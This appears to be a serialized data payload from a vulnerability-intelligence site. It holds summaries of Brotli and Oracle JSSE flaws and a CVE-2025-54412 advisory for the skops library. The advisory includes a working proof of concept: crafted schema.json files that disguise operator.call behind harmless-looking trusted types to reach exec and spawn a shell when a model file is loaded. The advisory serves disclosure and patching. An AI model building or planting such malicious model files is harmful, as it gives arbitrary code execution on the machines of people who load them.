[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2025-54412":30,"landing-articles":67},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":37,"cwes":38,"cpes":40,"technologies":42,"references":44,"score":52,"epss_score":53,"epss_percentile":54,"is_kev":37,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":55,"attack_mappings":65,"exploits":66},100674,"CVE-2025-54412","EUVD-2025-22763","Skops has Inconsistent Trusted Type Validation that Enables Hidden `operator` Methods Execution\n\n## Summary\nAn inconsistency in `OperatorFuncNode` can be exploited to hide the execution of untrusted `operator.xxx` methods. This can then be used in a code reuse attack to invoke seemingly safe functions and escalate to arbitrary code execution with minimal and misleading trusted types.\n\n**Note:** This report focuses on `operator.call` as it appears to be the most interesting target, but the same technique applies to other `operator` methods. Moreover, focusing on a specific example is not necessary, the `operator.call` invocation was a zero-effort choice meant solely to demonstrate the issue. The key point is the **inconsistency** that allows a user to approve a type as trusted, while in reality enabling the execution of `operator.xxx`.\n\n\n\n## Details\n\nThe `OperatorFuncNode` allows calling methods belonging to the `operator` module and included in a trusted list of methods. However, what is returned by `get_untrusted_types` and checked during the `load` call is not exactly the same as what is actually called. Instead, it is something partially controlled by the model author. This means that the user checking the untrusted types can be tricked into thinking something benign is being used, while in reality the `operator.xxx` method is executed.\n\nLet’s look at the implementation of the `OperatorFuncNode`:\n\n```python\n# from io\u002F_general.py:618-633\nclass OperatorFuncNode(Node):\n    def __init__(\n        self,\n        state: dict[str, Any],\n        load_context: LoadContext,\n        trusted: Optional[Sequence[str]] = None,\n    ) -> None:\n        super().__init__(state, load_context, trusted)\n        self.trusted = self._get_trusted(trusted, [])\n        self.children[\"attrs\"] = get_tree(state[\"attrs\"], load_context, trusted=trusted)\n\n    def _construct(self):\n        op = getattr(operator, self.class_name)\n        attrs = self.children[\"attrs\"].construct()\n        return op(*attrs)\n```\n\nAs you can see, what is called during construction is `operator.class_name`, where `class_name` is the value of the `\"__class__\"` key in the `schema.json` file of the `model.skops`. However, what is returned by `get_untrusted_types` and checked during `load` is the concatenation of the `__module__` and `__class__` keys. Interestingly, `__module__` is not used in the construction of the `OperatorFuncNode`, allowing an attacker to forge a module name that, when concatenated with the `__class__` name, seems harmless and related to the model being loaded, while actually calling the `operator.class_name` function.\n\nFor example, an attacker can create a `schema.json` file with the following content:\n\n```json\n{\n  \"__class__\": \"call\",\n  \"__module__\": \"sklearn.linear_model._stochastic_gradient.SGDRegressor\",\n  \"__loader__\": \"OperatorFuncNode\",\n  ...\n}\n```\n\nWhat is returned by `get_untrusted_types` and checked during `load` is `\"sklearn.linear_model._stochastic_gradient.SGDRegressor.call\"`, which seems harmless and related to the model being loaded. However, what is actually called during the construction of the `OperatorFuncNode` is `operator.call`, which can be used to call arbitrary functions with the provided arguments.\n\n**NOTE:** There is also the possibility of a collision with a real method ending with `.call`. If, at some point, the user needs to trust a type like `something.somewhere.call`, then the attacker can use the same name while actually executing `operator.call`. This also means that, if at any point `skops` adds a default trusted element named `call`, the attacker can use it to execute arbitrary code by invoking `operator.call` with the provided arguments.\n\n## PoC\n\nAs an example, to create a model that seems perfectly harmless but allows fully arbitrary code execution, reuse code of the `skops.io.loads` function from the `skops` library. This function was chosen because, even though it is not in the default trusted list of `skops`, it appears perfectly harmless and appropriate in the context of loading a model with `skops`, hence it is likely to be trusted by users.\n\nIn particular, the `OperatorFuncNode` is combined with the `skops.io.loads` function to create a model (`model.skops`) that, when loaded, executes a second model load using another, hidden model zipped into the original `model.skops` file (hence not visible to the user unless manually unzipped and inspected). The second model is loaded with controlled arguments, allowing the attacker to specify any trusted list, thereby enabling arbitrary code execution.\n\n### Zip file structure\n\nThe zip file `model.skops` has the following structure:\n\n```\nmodel.skops\n├── schema.json\n├── my-model-evil.skops\n    └── schema.json\n```\n\n### Payload\n\nThe `schema.json` file of `model.skops` is as follows:\n\n```json\n{\n  \"__class__\": \"call\",\n  \"__module__\": \"sklearn.linear_model._stochastic_gradient.SGDRegressor\",\n  \"__loader__\": \"OperatorFuncNode\",\n  \"attrs\": {\n    \"__class__\": \"tuple\",\n    \"__module__\": \"builtins\",\n    \"__loader__\": \"TupleNode\",\n    \"content\": [\n      {\n        \"__class__\": \"loads\",\n        \"__module__\": \"skops.io\",\n        \"__loader__\": \"TypeNode\",\n        \"__id__\": 5\n      },\n      {\n        \"__class__\": \"bytes\",\n        \"__module__\": \"builtins\",\n        \"__loader__\": \"BytesNode\",\n        \"file\": \"my-model-evil.skops\",\n        \"__id__\": 6\n      },\n      {\n        \"__class__\": \"list\",\n        \"__module__\": \"builtins\",\n        \"__loader__\": \"ListNode\",\n        \"content\": [\n          {\n            \"__class__\": \"str\",\n            \"__module__\": \"builtins\",\n            \"__loader__\": \"JsonNode\",\n            \"content\": \"\\\"builtins.exec\\\"\"\n          },\n          {\n            \"__class__\": \"str\",\n            \"__module__\": \"builtins\",\n            \"__loader__\": \"JsonNode\",\n            \"content\": \"\\\"sk.call\\\"\"\n          }\n        ]\n      }\n    ],\n    \"__id__\": 8\n  },\n  \"__id__\": 10,\n  \"protocol\": 2,\n  \"_skops_version\": \"0.11.0\"\n}\n```\n\nInside the zip file `model.skops`, there is a file `my-model-evil.skops` with the following content:\n\n```json\n{\n  \"__class__\": \"call\",\n  \"__module__\": \"sk\",\n  \"__loader__\": \"OperatorFuncNode\",\n  \"attrs\": {\n    \"__class__\": \"tuple\",\n    \"__module__\": \"builtins\",\n    \"__loader__\": \"TupleNode\",\n    \"content\": [\n      {\n        \"__class__\": \"exec\",\n        \"__module__\": \"builtins\",\n        \"__loader__\": \"TypeNode\",\n        \"__id__\": 1\n      },\n      {\n        \"__class__\": \"str\",\n        \"__module__\": \"builtins\",\n        \"__loader__\": \"JsonNode\",\n        \"content\": \"\\\"import os; os.system('\u002Fbin\u002Fsh')\\\"\",\n        \"__id__\": 5,\n        \"is_json\": true\n      }\n    ],\n    \"__id__\": 8\n  },\n  \"__id__\": 10,\n  \"protocol\": 2,\n  \"_skops_version\": \"0.11.0\"\n}\n```\n\nSince the first model loads it, the second model is loaded with the attacker-controlled trusted list `[\"builtins.exec\", \"sk.call\"]`, allowing execution of the `exec` function with the provided argument without any further confirmation from the user. In this example, a shell command is executed, but the attacker can modify the payload to execute any arbitrary code.\n\n### What is shown when executing the payload\n\nSuppose a user loads the model with the following code:\n\n```python\nfrom skops.io import load, get_untrusted_types\n\nunknown_types = get_untrusted_types(file=\"model.skops\")\nprint(\"Unknown types\", unknown_types)\ninput(\"Press enter to load the model...\")\nloaded = load(\"model.skops\", trusted=unknown_types)\n```\n\nThe output will be:\n\n```\nUnknown types ['sklearn.linear_model._stochastic_gradient.SGDRegressor.call', 'skops.io.loads']\nPress enter to load the model...\n```\n\nThis shows that the user is tricked into believing the model is safe, with apparently legitimate types like `sklearn.linear_model._stochastic_gradient.SGDRegressor.call` and `skops.io.loads`, while in reality, a shell is executed.\n\n**This is just one example, but the same technique can be used to execute any arbitrary code with even more  misleading names.**\n\n### Possible Fix\n\n`get_untrusted_types` and `load` should verify what is actually called during the construction of the `OperatorFuncNode`, not just rely on the concatenation of the `__module__` and `__class__` keys, which do not reflect the true behavior in this case.\n\n## Impact\nAn attacker can exploit this vulnerability by crafting a malicious model file that, when loaded, requests trusted types that are different from those actually executed by the model. Potentially, this can escalate— as shown— to the execution of arbitrary code on the victim’s machine, requiring only the confirmation of a few seemingly safe types. The attack occurs at load time. This is particularly concerning given that `skops` is often used in collaborative environments and promotes a security-oriented policy.\n\n\n\n## Attachments\nThe complete PoC is available on GitHub at [io-no\u002FCVE-2025-54412](https:\u002F\u002Fgithub.com\u002Fio-no\u002FCVE-Reports\u002Ftree\u002Fmain\u002FCVE-2025-54412).","2025-07-25T19:17:00Z",{},false,[39],"CWE-351",[41],"cpe:2.3:a:skops:skops:*:*:*:*:*:*:*:*",[43],"Skops Skops",[45,46,47,48,49,50,51],"https:\u002F\u002Fgithub.com\u002Fskops-dev\u002Fskops\u002Fcommit\u002F0aeca055509dfb48c1506870aabdd9e247adf603","https:\u002F\u002Fgithub.com\u002Fskops-dev\u002Fskops\u002Freleases\u002Ftag\u002Fv0.12.0","https:\u002F\u002Fgithub.com\u002Fskops-dev\u002Fskops\u002Fsecurity\u002Fadvisories\u002FGHSA-m7f4-hrc6-fwg3","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2025-54412","https:\u002F\u002Fdrive.google.com\u002Ffile\u002Fd\u002F1c2KrjayE_S1siaou0vDmGK7_MQ7_YCUZ\u002Fview?usp=sharing","https:\u002F\u002Fgithub.com\u002Fio-no\u002FCVE-Reports\u002Ftree\u002Fmain\u002FCVE-2025-54412","https:\u002F\u002Fgithub.com\u002Fskops-dev\u002Fskops",0,0.00153,0.04424,{"timestamp":56,"automatable":57,"tech_impact":58,"exploitation":59,"cisa_decision":60,"cisa_remediation_timeline":64},"2025-07-28T13:55:45.240203Z","no","total","poc",{"vector":61,"decision":62,"priority":63},"CISAv1\u002FE:P\u002FA:N\u002FT:T\u002FM:H\u002F2026-10-26T02:15:58.901802\u002F","attend","medium","14D",[],[],{"count":68,"next":69,"previous":6,"results":70},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[71,79,87],{"id":72,"title":73,"summary":74,"published_at":75,"type":76,"link":77,"image_url":78},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":80,"title":81,"summary":82,"published_at":83,"type":84,"link":85,"image_url":86},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":88,"title":89,"summary":90,"published_at":91,"type":92,"link":93,"image_url":94},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]